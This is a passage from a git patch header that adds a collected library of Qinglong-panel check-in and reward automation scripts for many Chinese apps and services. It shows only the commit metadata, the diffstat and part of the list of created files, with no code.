From ca1a4275e4d8ff447549c884a71dc95a516e1d04 Mon Sep 17 00:00:00 2001 From: Hermes Agent Date: Sun, 24 May 2026 04:36:41 +0000 Subject: [PATCH] Collect seeded Qinglong script repositories --- .gitignore | 1 + INDEX.csv | 275 + INDEX.json | 4400 +++++++++++++ README.md | 10 +- seed_collect.py | 157 + seed_collect_git.py | 181 + .../2025-11-20_3_retrieve_shop_and_product_info_029d5d64.py | 145 + .../APP版/抓包/env/2026-04-07_env_89a06fae.js | 197 + .../抓包/万家乐/2025-06-28_万家乐_1adde720.py | 149 + .../抓包/北京现代/2026-04-02_bjxd_a680cf46.py | 752 +++ .../夸克自动签到/2026-05-14_quark_6ffca99d.py | 258 + .../2025-11-20_1_generate_code_8c9e80a6.py | 123 + .../账密/2_登录/2025-11-20_2_login_15377770.py | 104 + .../2025-11-20_98_check_reservation_result_43d3c067.py | 276 + .../100bt百田游戏/2025-06-28_百田网_8da05cf4.js | 282 + .../抓包/360社区签到/2026-04-07_360_6ad9e634.py | 158 + .../web版/抓包/BREO/2026-04-07_BREO_446c598f.py | 257 + .../web版/抓包/breo/2025-06-28_breo_647b98a9.py | 255 + .../function_res_{/2025-06-28_Ruishu_0132420d.py | 277 + .../2025-06-28_爱奇艺会员_d89c064a.js | 565 ++ .../only_mi/2025-08-25_ql_only_mi_dc606d90.py | 32 + .../sendNotify/2025-06-03_sendNotify_c3b909e6.py | 473 ++ .../vx体彩服务号/2025-06-28_体彩通杀_b2c5ac79.js | 265 + .../vx日清体验馆/2025-06-28_日清体验馆_12996359.js | 336 + .../vx毛铺草本荟/2025-06-28_毛铺草本荟_391b94a7.js | 436 ++ .../wx_庙友之家/2026-05-14_miaoyouHome_1329d61d.js | 486 ++ .../xbox俱乐部V2/2025-06-28_xbox俱乐部_d32e8317.js | 384 ++ .../抓包/东方棘市/2025-06-28_东方棘市_892b06ab.py | 105 + .../东方烟草报/2025-06-28_东方烟草报App_1b5375a5.js | 592 ++ .../抓包/东方烟草报/2026-04-07_dfyc_b2cb2a98.js | 240 + .../抓包/中兴商城/2025-06-28_中兴商城_3fecf7b6.py | 68 + .../抓包/丰信客户端/2025-06-28_丰信_5b9a593b.js | 1328 ++++ .../抓包/书亦烧仙草/2026-05-14_sysxc_9847bcfd.js | 442 ++ .../书亦烧仙草python版/2026-05-14_sysxc_b9f66359.py | 224 + .../抓包/兴攀农场/2025-06-28_兴攀农场_125624b7.js | 392 ++ .../抓包/叭卦优选/2025-06-28_叭卦优选_4c1f1729.py | 105 + .../叮当快药APP/2025-06-28_叮当快药_eab3ff48.js | 194 + .../抓包/国乐酱酒/2025-06-28_国乐酱酒_568436f8.js | 272 + .../抓包/奇瑞汽车/2025-06-28_奇瑞汽车_d970e667.js | 311 + .../抓包/安徽电信/2025-06-28_安徽电信_907729f3.js | 181 + .../web版/抓包/小紫/2025-06-28_小紫_04f1966f.py | 129 + .../抓包/得物森林/2025-06-03_得物森林_124d8271.py | 1030 +++ .../抓包/心喜/2025-06-28_心喜小程序_a195dc9a.js | 662 ++ .../捷安特骑行/2025-06-28_捷安特骑行_cde00a24.py | 112 + .../抓包/掌心临海/2025-06-28_掌心临海_f795ee0f.js | 388 ++ .../web版/抓包/摩托范/2026-04-07_mtf_43c9ffb5.js | 154 + .../浓五的酒馆/2025-06-28_浓五的酒馆_ee3ecc85.py | 110 + .../爱玛会员俱乐部/2026-04-13_aima_c4bf13f4.js | 132 + .../抓包/福袋生活/2025-06-28_福袋生活_a0e7b152.js | 617 ++ .../抓包/第一电动/2025-06-28_第一电动_209af53a.py | 100 + .../粉象生活App/2026-04-02_fenxiang_c0377499.js | 235 + .../抓包/蜜雪冰城/2025-06-28_蜜雪冰城_3365d3b2.py | 83 + .../抓包/蜜雪秒杀/2025-06-28_蜜雪秒杀_abf07112.py | 101 + .../金徽酒会员/2025-06-28_金徽酒会员_9fd75c1d.py | 346 + .../2025-06-28_雀巢会员俱乐部_36e37724.js | 274 + .../web版/抓包/青碳行/2026-04-01_qtx_c3063c65.js | 395 ++ .../2025-08-25_sendNotify_387e13ce.js | 1326 ++++ .../2026-05-14_sendNofity_7da67c95.js | 1556 +++++ .../2026-05-14_sendNotify_864365eb.js | 1552 +++++ .../51代理自动签到/2026-05-14_51dalili_fea43cd7.py | 155 + .../5_旅行相关/2025-11-20_5_travel_df64a760.py | 376 ++ .../2025-11-20_99_check_for_validity_b7dac1c2.py | 282 + .../Bing每日图片/2025-08-25_imgbing_3ecde192.js | 599 ++ .../2025-08-25_kfc_f6eae98a.js | 630 ++ .../2025-08-25_PUSH_03f616e3.js | 888 +++ .../2025-08-25_TEMPLATE_ca814940.js | 477 ++ .../web版/账密/bjxd/2025-06-28_bjxd_e4c2c483.js | 29 + .../2025-08-25_deepseek_127895dc.js | 758 +++ .../账密/notify/2026-04-01_notify_76a2a83d.py | 1116 ++++ .../账密/parsdata/2025-08-25_parsdata_45c06ac4.js | 786 +++ .../账密/vivo社区/2025-08-25_vivo_572c90bb.js | 485 ++ .../vx植物星球/2025-06-28_植物星球_dc1b34d5.js | 284 + .../账密/wangchao/2026-05-14_wangchao_5766bea9.py | 378 ++ .../账密/万能福利吧/2025-08-25_wnflb_a0c784cb.js | 707 ++ .../账密/中兴商城/2025-08-25_ztemall_0a7d6031.js | 494 ++ .../中兴社区/2025-08-25_ql_ztebbs_4a429a41.js | 569 ++ .../中国日报/2025-08-25_dailynewscn_75088baf.js | 646 ++ .../中国移动APP/2026-05-14_chinaMobile_e5179e07.js | 124 + .../账密/中国移动云盘/2026-05-14_ydyp_da3e5cb2.js | 4324 ++++++++++++ .../账密/二维码生成/2025-08-25_qrcode_23c17b49.js | 604 ++ .../账密/人生倒计时/2025-08-25_rsdjs_744d40fb.js | 645 ++ .../账密/人生话语/2025-08-25_rshy_7997ca48.js | 630 ++ .../什么值得买抽奖/2025-08-25_ql_smzdm_7052d293.js | 561 ++ .../账密/今日油价/2025-08-25_oilprice_e5ab074d.js | 663 ++ .../2025-08-25_airabsorbed_129ae07b.js | 770 +++ .../冷酸灵牙膏/2025-06-28_冷酸灵牙膏_a528b252.js | 306 + .../2025-08-25_todayhistory_71ae3a46.js | 656 ++ .../叮咚鱼塘/2025-08-25_ddmc_ddyt_8848c2ac.js | 803 +++ .../账密/吉利汽车/2026-04-01_jlqc_0104d80b.js | 964 +++ .../账密/周安排/2025-08-25_weekplan_01ccb9a9.js | 598 ++ .../和风天气/2025-08-25_hfweather_8f48b643.js | 2074 ++++++ .../2025-06-28_品赞代理_79485dab.js | 586 ++ .../哔哩哔哩热搜榜/2025-08-25_bilihot_1ef69980.js | 631 ++ .../账密/喜马拉雅/2025-08-25_ql_xmly_27dc10eb.js | 565 ++ .../web版/账密/图虫/2025-06-28_图虫_11833d7f.js | 589 ++ .../在线工具/2025-08-25_ql_toollu_49df7a6e.js | 535 ++ .../账密/天翼云盘/2025-06-28_天翼云盘_3c9fd20b.py | 228 + .../账密/夸克网盘/2025-08-25_ql_quark_f2d5bcba.js | 467 ++ .../2025-08-25_quarksave_84f33509.js | 712 ++ .../账密/奇瑞汽车/2026-05-14_chery_022b783a.js | 243 + .../2025-06-28_宝骏汽车视频_6330e990.py | 304 + .../宽带技术网/2025-08-25_chinadsl_db342b3d.js | 645 ++ .../账密/小米商城做任务/2025-08-25_mi_d69613f3.js | 468 ++ .../账密/少数派热榜/2025-08-25_ssphot_1e4b9eda.js | 630 ++ .../希沃白板/2025-08-25_ql_easinote_ecd9a632.js | 562 ++ .../账密/广汽埃安/2025-06-28_广汽埃安_d765e765.js | 909 +++ .../账密/废文小说/2025-08-25_ql_fwxs_95659ed7.js | 631 ++ .../账密/微博热搜榜/2025-08-25_wbhot_04ee263f.js | 646 ++ .../恩山无线论坛/2025-08-25_eswxlt_dc458728.js | 620 ++ .../手机号归属地/2025-08-25_telgsd_45e96639.js | 569 ++ .../账密/抖音热搜榜/2025-08-25_dyhot_4af8123c.js | 630 ++ .../账密/挑战古诗词/2025-08-25_tzgsc_2717fabb.js | 630 ++ .../账密/无锡观察/2025-06-28_无锡观察_75d1a9e7.js | 464 ++ .../账密/日期提醒/2025-08-25_remind_a1656667.js | 645 ++ .../账密/早安问候语/2025-08-25_zaoan_22a29697.js | 631 ++ .../账密/星座运势/2025-08-25_xingzuo_fc96e27b.js | 630 ++ .../2025-06-28_星芽短剧脚本(解密版)_aa45bfb7.js | 525 ++ .../账密/晚安问候语/2025-08-25_wanan_b25f6959.js | 631 ++ .../web版/账密/望潮/2025-06-28_望潮_e2d725b7.js | 639 ++ .../账密/望潮py版/2025-06-28_望潮py版_7e3e4c49.py | 351 + .../望潮代理版/2025-06-28_望潮代理版_cfe0f499.py | 645 ++ .../2025-08-25_TEMPLATE_ql_b4f0835b.js | 621 ++ .../每天60秒读懂世界/2025-08-25_day60s_5a7eddd6.js | 635 ++ .../账密/游侠网/2025-06-28_游侠网_f8654a12.js | 527 ++ .../账密/熊猫网络/2025-08-25_xmdl_0cddb80d.js | 460 ++ .../王者荣耀英雄介绍/2025-08-25_wangzhe_92cce1aa.js | 630 ++ .../2025-06-28_电信营业厅任务_f76f6ee3.js | 2239 +++++++ .../2025-06-28_电信金豆换话费_7d539458.py | 520 ++ .../电影票房排行/2025-08-25_piaofang_acba8c0f.js | 630 ++ .../2025-06-28_番茄免费小说_d04dd54a.js | 598 ++ .../账密/百度收录/2025-08-25_bdsl_8027f638.js | 630 ++ .../账密/百度热搜榜/2025-08-25_bdhot_7149be26.js | 630 ++ .../看雪论坛/2025-08-25_ql_kanxue_6aeb8664.js | 603 ++ .../账密/知乎热搜榜/2025-08-25_zhhot_4d73713f.js | 630 ++ .../账密/短网址生成/2025-08-25_dwz_74555928.js | 569 ++ .../账密/硬声/2026-05-14_yingsheng_2e324775.js | 540 ++ .../账密/神回复/2025-08-25_shenhuifu_2d02f196.js | 637 ++ .../账密/福田e家/2025-06-28_福田e家_2681de89.js | 985 +++ .../账密/科研通/2025-08-25_ql_kyt_1d04491e.js | 627 ++ .../账密/移动云盘/2025-06-28_移动云盘_4e6ef37b.py | 890 +++ .../账密/简繁体转换/2025-08-25_fjzh_246b5fc8.js | 569 ++ .../米游社_原神签到/2025-06-28_米哈游_44eb1b9e.js | 696 ++ .../账密/经纬度解析/2025-08-25_lnglat_aa6d5e0b.js | 600 ++ .../2026-05-14_qiehuang_678fa340.py | 519 ++ .../2025-06-28_罗技粉丝俱乐部_c45cd687.js | 585 ++ .../2025-06-28_联想延保签到_f8c349cc.py | 258 + .../账密/胖乖生活/2025-06-28_胖乖生活_104430b9.py | 1083 +++ .../账密/腾讯视频/2025-06-28_腾讯视频_d184953f.js | 679 ++ .../账密/葫芦侠3楼/2025-08-25_huluxia_6233f109.js | 585 ++ .../葫芦侠签到/2025-06-28_葫芦侠签到_e6c5a800.py | 117 + .../账密/蔚来签到/2026-05-14_weilai_c95486e9.js | 122 + .../账密/词霸每日一句/2025-08-25_ciba_43494f7f.js | 619 ++ .../web版/账密/谜语/2025-08-25_miyu_1cb49542.js | 638 ++ .../账密/趣味笑话/2025-08-25_qwxh_f35da7e8.js | 630 ++ .../阿里云盘签到/2026-05-14_aliyunpan_1c3e68b4.py | 161 + .../随机一句一言/2025-08-25_oneyan_7ff4ea80.js | 630 ++ .../随机二次元图片/2025-08-25_imgecy_ce2ad6d0.js | 613 ++ .../随机唯美文案/2025-08-25_weimei_322bf127.js | 630 ++ .../随机头像/2025-08-25_imgavatar_47fbd943.js | 599 ++ .../账密/随机封面/2025-08-25_imgcover_25d9b368.js | 599 ++ .../随机手机壁纸/2025-08-25_imgphone_e286c802.js | 599 ++ .../账密/随机抽签/2025-08-25_chouq_59128372.js | 649 ++ .../随机美句摘抄文案/2025-08-25_meiju_a45df7c7.js | 630 ++ .../2025-08-25_imglandscape_00e05d6b.js | 599 ++ .../骚扰电话查询/2025-08-25_telsaorao_9008abed.js | 580 ++ .../账密/鸡汤/2025-08-25_jitang_eb7e749e.js | 630 ++ .../2025-08-25_UPDATE_891e820a.js | 822 +++ .../抓包版/Babycare/2025-06-28_Babycare_4a2e1c44.py | 136 + .../CHERWIN_TOOLS/2025-06-28_CHERWIN_TOOLS_9a1e1439.py | 536 ++ .../抓包版/DQ点单/2025-06-28_DQ点单_53161101.js | 63 + .../抓包版/KSOEUR/2025-06-28_KSOEUR_dff489d3.py | 190 + .../抓包版/babycare/2026-05-14_babycare_46258113.js | 134 + .../colorful七彩虹/2026-05-14_colorful_cf4ee821.js | 231 + .../抓包版/golo汽修大师/2025-08-25_golo_6d8c719f.js | 708 ++ .../抓包版/iqoo社区/2026-05-14_iqoo_43b07ea6.js | 326 + .../quanmianshidai/2026-05-14_quanmianshidai_56f3c63c.py | 847 +++ .../2025-06-28_爱奇艺_857e9674.py | 387 ++ .../steam游戏在线人数/2025-08-25_streamrank_34d2cdec.js | 647 ++ .../抓包版/stokke小程序/2026-05-14_stokke_1e4d7ea7.js | 216 + .../2026-04-01_tianyi_b953df84.py | 973 +++ .../this官方商城/2025-06-28_this官方商城_7916a729.js | 159 + .../topspace/2025-06-28_topspace小程序_0c2cf24e.py | 121 + .../vx爷爷不泡茶/2025-06-28_爷爷不泡茶_2e5d48ac.js | 253 + .../2025-06-28_vx麦斯威尔福利社_2d125158.js | 425 ++ .../抓包版/wcs/2026-05-14_wcs_d9b348ca.js | 68 + .../抓包版/zhanma/2026-05-14_zhanma_b8ab91bd.js | 967 +++ .../七彩虹商城/2025-06-28_七彩虹商城小程序_761e10f7.js | 426 ++ .../2025-06-28_七点五饮用天然矿泉水_d6fe4967.py | 129 + .../中国联通/2026-05-14_chinaUnicom_286fe16d.py | 5832 +++++++++++++++++ .../产地严选小程序/2025-06-28_产地严选小程序_f81d5d95.py | 90 + .../抓包版/全棉时代/2025-06-28_全棉时代_78833e2a.js | 852 +++ .../抓包版/兴攀农场/2025-08-25_xpnc_5f222c85.js | 453 ++ .../抓包版/华住会/2025-08-25_ql_hzh_0b396713.js | 466 ++ .../华硕商城APP/2025-06-28_华硕商城每日抽奖_5317a9e9.js | 261 + .../抓包版/卡士会员/2025-06-28_卡士会员_12456cea.js | 162 + .../抓包版/卡池权益会员店/2025-06-28_卡池_7ffef781.js | 166 + .../2025-06-28_古井贡酒_aab5faf3.js | 175 + .../抓包版/叮当快药/2026-04-08_ddsy_fe6024e5.js | 174 + .../可口可乐小程序/2026-05-14_kekoukele_a6adebfb.js | 203 + .../抓包版/吉利银河/2026-04-01_jlyh_374b7879.js | 354 + .../抓包版/国乐酱酒/2026-04-08_gyjj_89d63434.js | 147 + .../塔斯汀小程序签到/2026-05-14_tasiting_d32ead35.js | 176 + .../抓包版/塔斯汀汉堡/2025-06-03_tsthb_607a26fc.py | 164 + .../抓包版/奇点积分/2025-06-28_奇点积分_a8391dc9.py | 154 + .../抓包版/好宝贝/2025-06-28_好宝贝_2194acca.py | 109 + .../媓钻小程序/2025-06-28_媓钻小程序_85b516e6.js | 184 + .../2025-06-28_富士instax玩拍由我俱乐部_41c9289f.js | 228 + .../抓包版/小天鹅/2025-06-28_小天鹅_73a76dd9.py | 199 + .../小猴工具小程序/2025-06-28_小猴工具小程序_23314730.js | 120 + .../2025-06-28_小米社区小程序签到_3c6fe4df.py | 128 + .../抓包版/屈臣氏/2025-08-25_qcs_ab94ff3b.js | 509 ++ .../巨量ip_Sign/2025-06-28_巨量ip_Sign_0fe9136c.py | 151 + .../抓包版/广汽丰田/2026-04-01_gqftbz_bb6ab4b5.js | 886 +++ .../抓包版/广汽传祺/2025-06-28_gacmotor_a6c7c219.js | 1416 ++++ .../康师傅畅饮社/2026-05-14_kangshifu_73bda636.js | 121 + .../抓包版/得物/2025-06-28_得无开源_d10a36e3.js | 1750 +++++ .../抓包版/得物0元抽/2026-04-08_dw_643756c6.js | 330 + .../2026-04-01_wx_midea_2ea2d16b.js | 251 + .../2025-06-28_微信小程序虔金E站_e1e429fa.js | 128 + .../抓包版/心喜小程序/2026-05-14_xinxi_97216722.js | 294 + .../抓包版/慕思/2025-06-28_慕思_3ee7b04e.js | 581 ++ .../抓包版/慕斯小程序签到/2026-05-14_musi_42ce9bc0.js | 266 + .../2025-06-28_所有女生小程序_a6033b11.js | 227 + .../抓包版/植白说小程序/2026-04-09_zbs_478003ec.js | 142 + .../抓包版/欢太商城/2025-06-28_欢太商城_2cc34369.py | 586 ++ .../抓包版/波司登小程序/2025-06-28_波司登_8f296880.js | 197 + .../抓包版/活力伊利小程序/2026-05-14_hlyl_eaf5ac9b.js | 131 + .../抓包版/浓五的酒馆/2026-05-14_nwdjg_6f50bb3e.js | 212 + .../海天美味馆小程序/2025-06-28_海天美味馆_ce5a14cb.js | 514 ++ .../海天美味馆小程序/2026-05-14_haitian_460af5d6.js | 281 + .../抓包版/海尔智家/2025-06-28_海尔_e0ba0d26.js | 305 + .../抓包版/海尔智家/2026-05-14_hezj_88376ece.js | 152 + .../抓包版/海底捞/2026-04-07_hdl_6ef2ae22.js | 198 + .../抓包版/滴滴果园/2025-06-28_滴滴果园_f54487a2.py | 183 + .../滴滴果园大佬的我用不了/2025-06-03_ddgy_36740532.py | 185 + .../抓包版/潇洒桐庐/2025-06-28_潇洒桐庐_b94d00d2.js | 458 ++ .../潇洒桐庐/2026-05-14_xiaosatonglu_7a55d833.js | 459 ++ .../抓包版/点点兼职/2025-06-28_点点兼职_08d0c3dd.js | 18 + .../爱玛会员俱乐部/2025-06-28_爱玛会员俱乐部_b27f0206.js | 179 + .../2025-06-28_牙博士口腔微商城_c59a947a.js | 803 +++ .../瑷尔博士官方云商城/2025-06-28_瑷尔博士_9b3eaec2.js | 190 + .../抓包版/益禾堂/2026-04-12_yht_3f2d67f0.js | 260 + .../盖瑞特后市场/2025-06-28_盖瑞特后市场_b29d74fc.js | 73 + .../抓包版/睿蓝汽车/2026-04-01_ruilanCar_bbf9ecc4.js | 519 ++ .../立乐家会员俱乐部/2026-04-08_llj_268c1523.js | 160 + .../米其林会员小程序/2026-05-14_miqilin_62de3bde.js | 293 + .../抓包版/红旗智联/2025-06-28_红旗智联_c676b0c8.js | 414 ++ .../抓包版/统一抽奖大集结/2025-06-28_统一_8487b153.js | 328 + .../抓包版/美孚/2025-06-28_美孚_8e3199b6.js | 63 + .../2025-06-28_联通获取ck_a5eef486.py | 875 +++ .../抓包版/臭宝乐园/2025-06-28_臭宝乐园_abd99e11.js | 169 + .../抓包版/臭宝乐园/2026-05-14_choubao_5bbd98d8.js | 254 + .../抓包版/荷叶健康小程序/2026-05-14_hyjk_fafd24e8.js | 679 ++ .../抓包版/蓝式宠物/2025-06-28_蓝式宠物_57deb499.py | 155 + .../抓包版/蜜雪冰城/2026-05-14_mxbc_68b9441a.js | 314 + .../抓包版/西施眼/2025-06-28_西施眼_9132a43e.js | 641 ++ .../谢瑞麟小程序签到/2026-05-14_tslj_28f4e466.js | 209 + .../抓包版/谷雨小程序/2026-05-14_guyu_ef65b269.js | 261 + .../抓包版/起飞线生活/2025-06-28_起飞线_9bbd059d.js | 1486 +++++ .../抓包版/达美乐/2025-06-28_达美乐_ac7dcacb.py | 84 + .../达美乐短信认证/2025-06-28_达美乐短信认证_435e1f0c.py | 135 + .../2025-06-28_逑美And薇诺娜专柜小程序_5e1421f7.js | 263 + .../抓包版/途虎养车/2025-06-28_途虎养车_d3128030.js | 421 ++ .../逢三得利吧/2025-06-28_逢三得利吧_4e59c90a.js | 281 + .../逢三得利吧小程序/2026-05-14_fsdlb_c9dc848c.js | 144 + .../抓包版/酷瓜/2025-06-28_酷瓜_f2c605f7.py | 115 + .../抓包版/金杜丹小程序/2025-06-28_金杜丹_224fde1a.py | 126 + .../2026-05-14_changhongmeiling_abc462ca.py | 51 + .../抓包版/长虹美菱/2025-06-28_长虹美菱_9c11ffd0.py | 64 + .../雪花勇闯天涯/2025-06-28_勇闯天涯superX_c2490fa1.js | 641 ++ .../抓包版/霸王茶几/2025-06-28_霸王茶几_5f665c80.py | 48 + .../霸王茶姬签到/2025-06-28_霸王茶姬_9912dbbd.py | 85 + .../顺丰端午版本/2025-06-03_顺丰端午版本_155fe229.py | 1071 +++ .../抓包版/顺丰速运/2025-06-03_SFSY_9380501b.py | 1753 +++++ .../抓包版/顺丰速运/2025-06-28_顺丰速运_435a23dd.py | 2439 +++++++ .../顺丰速运日常任务/2026-05-14_sfsy_be659945.py | 1209 ++++ .../抓包版/顾家家居/2025-06-28_顾家家居_a31d0967.js | 248 + .../抓包版/骁龙骁友会/2026-04-07_wx_xlxyh_54797296.js | 570 ++ .../2025-06-28_高济健康_53c56682.js | 273 + .../抓包版/鸿星尔克签到/2026-04-01_erke_c82ab68b.py | 196 + .../2026-05-14_maisiweier_a234b70b.js | 397 ++ .../2025-06-28_IP代理自动加白名单_43bd456d.py | 93 + 282 files changed, 143071 insertions(+), 5 deletions(-) create mode 100644 seed_collect.py create mode 100644 seed_collect_git.py create mode 100644 脚本库/APP版/抓包/3_查询商品商店信息/2025-11-20_3_retrieve_shop_and_product_info_029d5d64.py create mode 100644 脚本库/APP版/抓包/env/2026-04-07_env_89a06fae.js create mode 100644 脚本库/APP版/抓包/万家乐/2025-06-28_万家乐_1adde720.py create mode 100644 脚本库/APP版/抓包/北京现代/2026-04-02_bjxd_a680cf46.py create mode 100644 脚本库/APP版/抓包/夸克自动签到/2026-05-14_quark_6ffca99d.py create mode 100644 脚本库/APP版/账密/1_获取登录验证码/2025-11-20_1_generate_code_8c9e80a6.py create mode 100644 脚本库/APP版/账密/2_登录/2025-11-20_2_login_15377770.py create mode 100644 脚本库/APP版/账密/98_查询申购结果/2025-11-20_98_check_reservation_result_43d3c067.py create mode 100644 脚本库/web版/抓包/100bt百田游戏/2025-06-28_百田网_8da05cf4.js create mode 100644 脚本库/web版/抓包/360社区签到/2026-04-07_360_6ad9e634.py create mode 100644 脚本库/web版/抓包/BREO/2026-04-07_BREO_446c598f.py create mode 100644 脚本库/web版/抓包/breo/2025-06-28_breo_647b98a9.py create mode 100644 脚本库/web版/抓包/function_res_{/2025-06-28_Ruishu_0132420d.py create mode 100644 脚本库/web版/抓包/item.taskTitle,/2025-06-28_爱奇艺会员_d89c064a.js create mode 100644 脚本库/web版/抓包/only_mi/2025-08-25_ql_only_mi_dc606d90.py create mode 100644 脚本库/web版/抓包/sendNotify/2025-06-03_sendNotify_c3b909e6.py create mode 100644 脚本库/web版/抓包/vx体彩服务号/2025-06-28_体彩通杀_b2c5ac79.js create mode 100644 脚本库/web版/抓包/vx日清体验馆/2025-06-28_日清体验馆_12996359.js create mode 100644 脚本库/web版/抓包/vx毛铺草本荟/2025-06-28_毛铺草本荟_391b94a7.js create mode 100644 脚本库/web版/抓包/wx_庙友之家/2026-05-14_miaoyouHome_1329d61d.js create mode 100644 脚本库/web版/抓包/xbox俱乐部V2/2025-06-28_xbox俱乐部_d32e8317.js create mode 100644 脚本库/web版/抓包/东方棘市/2025-06-28_东方棘市_892b06ab.py create mode 100644 脚本库/web版/抓包/东方烟草报/2025-06-28_东方烟草报App_1b5375a5.js create mode 100644 脚本库/web版/抓包/东方烟草报/2026-04-07_dfyc_b2cb2a98.js create mode 100644 脚本库/web版/抓包/中兴商城/2025-06-28_中兴商城_3fecf7b6.py create mode 100644 脚本库/web版/抓包/丰信客户端/2025-06-28_丰信_5b9a593b.js create mode 100644 脚本库/web版/抓包/书亦烧仙草/2026-05-14_sysxc_9847bcfd.js create mode 100644 脚本库/web版/抓包/书亦烧仙草python版/2026-05-14_sysxc_b9f66359.py create mode 100644 脚本库/web版/抓包/兴攀农场/2025-06-28_兴攀农场_125624b7.js create mode 100644 脚本库/web版/抓包/叭卦优选/2025-06-28_叭卦优选_4c1f1729.py create mode 100644 脚本库/web版/抓包/叮当快药APP/2025-06-28_叮当快药_eab3ff48.js create mode 100644 脚本库/web版/抓包/国乐酱酒/2025-06-28_国乐酱酒_568436f8.js create mode 100644 脚本库/web版/抓包/奇瑞汽车/2025-06-28_奇瑞汽车_d970e667.js create mode 100644 脚本库/web版/抓包/安徽电信/2025-06-28_安徽电信_907729f3.js create mode 100644 脚本库/web版/抓包/小紫/2025-06-28_小紫_04f1966f.py create mode 100644 脚本库/web版/抓包/得物森林/2025-06-03_得物森林_124d8271.py create mode 100644 脚本库/web版/抓包/心喜/2025-06-28_心喜小程序_a195dc9a.js create mode 100644 脚本库/web版/抓包/捷安特骑行/2025-06-28_捷安特骑行_cde00a24.py create mode 100644 脚本库/web版/抓包/掌心临海/2025-06-28_掌心临海_f795ee0f.js create mode 100644 脚本库/web版/抓包/摩托范/2026-04-07_mtf_43c9ffb5.js create mode 100644 脚本库/web版/抓包/浓五的酒馆/2025-06-28_浓五的酒馆_ee3ecc85.py create mode 100644 脚本库/web版/抓包/爱玛会员俱乐部/2026-04-13_aima_c4bf13f4.js create mode 100644 脚本库/web版/抓包/福袋生活/2025-06-28_福袋生活_a0e7b152.js create mode 100644 脚本库/web版/抓包/第一电动/2025-06-28_第一电动_209af53a.py create mode 100644 脚本库/web版/抓包/粉象生活App/2026-04-02_fenxiang_c0377499.js create mode 100644 脚本库/web版/抓包/蜜雪冰城/2025-06-28_蜜雪冰城_3365d3b2.py create mode 100644 脚本库/web版/抓包/蜜雪秒杀/2025-06-28_蜜雪秒杀_abf07112.py create mode 100644 脚本库/web版/抓包/金徽酒会员/2025-06-28_金徽酒会员_9fd75c1d.py create mode 100644 脚本库/web版/抓包/雀巢会员俱乐部/2025-06-28_雀巢会员俱乐部_36e37724.js create mode 100644 脚本库/web版/抓包/青碳行/2026-04-01_qtx_c3063c65.js create mode 100644 脚本库/web版/账密/'',_智能微秘书_发送群名_或者好友昵称和type要对应好/2025-08-25_sendNotify_387e13ce.js create mode 100644 脚本库/web版/账密/'',_智能微秘书_发送群名_或者好友昵称和type要对应好/2026-05-14_sendNofity_7da67c95.js create mode 100644 脚本库/web版/账密/'',_智能微秘书_发送群名_或者好友昵称和type要对应好/2026-05-14_sendNotify_864365eb.js create mode 100644 脚本库/web版/账密/51代理自动签到/2026-05-14_51dalili_fea43cd7.py create mode 100644 脚本库/web版/账密/5_旅行相关/2025-11-20_5_travel_df64a760.py create mode 100644 脚本库/web版/账密/99_检查_TOKEN、COOKIE_有效期/2025-11-20_99_check_for_validity_b7dac1c2.py create mode 100644 脚本库/web版/账密/Bing每日图片/2025-08-25_imgbing_3ecde192.js create mode 100644 脚本库/web版/账密/KFC疯狂星期四搞笑语录/2025-08-25_kfc_f6eae98a.js create mode 100644 脚本库/web版/账密/bark_,_key_xxxxxx_,_flag_0_},/2025-08-25_PUSH_03f616e3.js create mode 100644 脚本库/web版/账密/bark_,_key_xxxxxx_,_flag_0_},/2025-08-25_TEMPLATE_ca814940.js create mode 100644 脚本库/web版/账密/bjxd/2025-06-28_bjxd_e4c2c483.js create mode 100644 脚本库/web版/账密/deepseek分析工具/2025-08-25_deepseek_127895dc.js create mode 100644 脚本库/web版/账密/notify/2026-04-01_notify_76a2a83d.py create mode 100644 脚本库/web版/账密/parsdata/2025-08-25_parsdata_45c06ac4.js create mode 100644 脚本库/web版/账密/vivo社区/2025-08-25_vivo_572c90bb.js create mode 100644 脚本库/web版/账密/vx植物星球/2025-06-28_植物星球_dc1b34d5.js create mode 100644 脚本库/web版/账密/wangchao/2026-05-14_wangchao_5766bea9.py create mode 100644 脚本库/web版/账密/万能福利吧/2025-08-25_wnflb_a0c784cb.js create mode 100644 脚本库/web版/账密/中兴商城/2025-08-25_ztemall_0a7d6031.js create mode 100644 脚本库/web版/账密/中兴社区/2025-08-25_ql_ztebbs_4a429a41.js create mode 100644 脚本库/web版/账密/中国日报/2025-08-25_dailynewscn_75088baf.js create mode 100644 脚本库/web版/账密/中国移动APP/2026-05-14_chinaMobile_e5179e07.js create mode 100644 脚本库/web版/账密/中国移动云盘/2026-05-14_ydyp_da3e5cb2.js create mode 100644 脚本库/web版/账密/二维码生成/2025-08-25_qrcode_23c17b49.js create mode 100644 脚本库/web版/账密/人生倒计时/2025-08-25_rsdjs_744d40fb.js create mode 100644 脚本库/web版/账密/人生话语/2025-08-25_rshy_7997ca48.js create mode 100644 脚本库/web版/账密/什么值得买抽奖/2025-08-25_ql_smzdm_7052d293.js create mode 100644 脚本库/web版/账密/今日油价/2025-08-25_oilprice_e5ab074d.js create mode 100644 脚本库/web版/账密/全国空气吸收剂量率/2025-08-25_airabsorbed_129ae07b.js create mode 100644 脚本库/web版/账密/冷酸灵牙膏/2025-06-28_冷酸灵牙膏_a528b252.js create mode 100644 脚本库/web版/账密/历史上的今天/2025-08-25_todayhistory_71ae3a46.js create mode 100644 脚本库/web版/账密/叮咚鱼塘/2025-08-25_ddmc_ddyt_8848c2ac.js create mode 100644 脚本库/web版/账密/吉利汽车/2026-04-01_jlqc_0104d80b.js create mode 100644 脚本库/web版/账密/周安排/2025-08-25_weekplan_01ccb9a9.js create mode 100644 脚本库/web版/账密/和风天气/2025-08-25_hfweather_8f48b643.js create mode 100644 脚本库/web版/账密/品赞HTTP代理签到/2025-06-28_品赞代理_79485dab.js create mode 100644 脚本库/web版/账密/哔哩哔哩热搜榜/2025-08-25_bilihot_1ef69980.js create mode 100644 脚本库/web版/账密/喜马拉雅/2025-08-25_ql_xmly_27dc10eb.js create mode 100644 脚本库/web版/账密/图虫/2025-06-28_图虫_11833d7f.js create mode 100644 脚本库/web版/账密/在线工具/2025-08-25_ql_toollu_49df7a6e.js create mode 100644 脚本库/web版/账密/天翼云盘/2025-06-28_天翼云盘_3c9fd20b.py create mode 100644 脚本库/web版/账密/夸克网盘/2025-08-25_ql_quark_f2d5bcba.js create mode 100644 脚本库/web版/账密/夸克订阅更新自动转存/2025-08-25_quarksave_84f33509.js create mode 100644 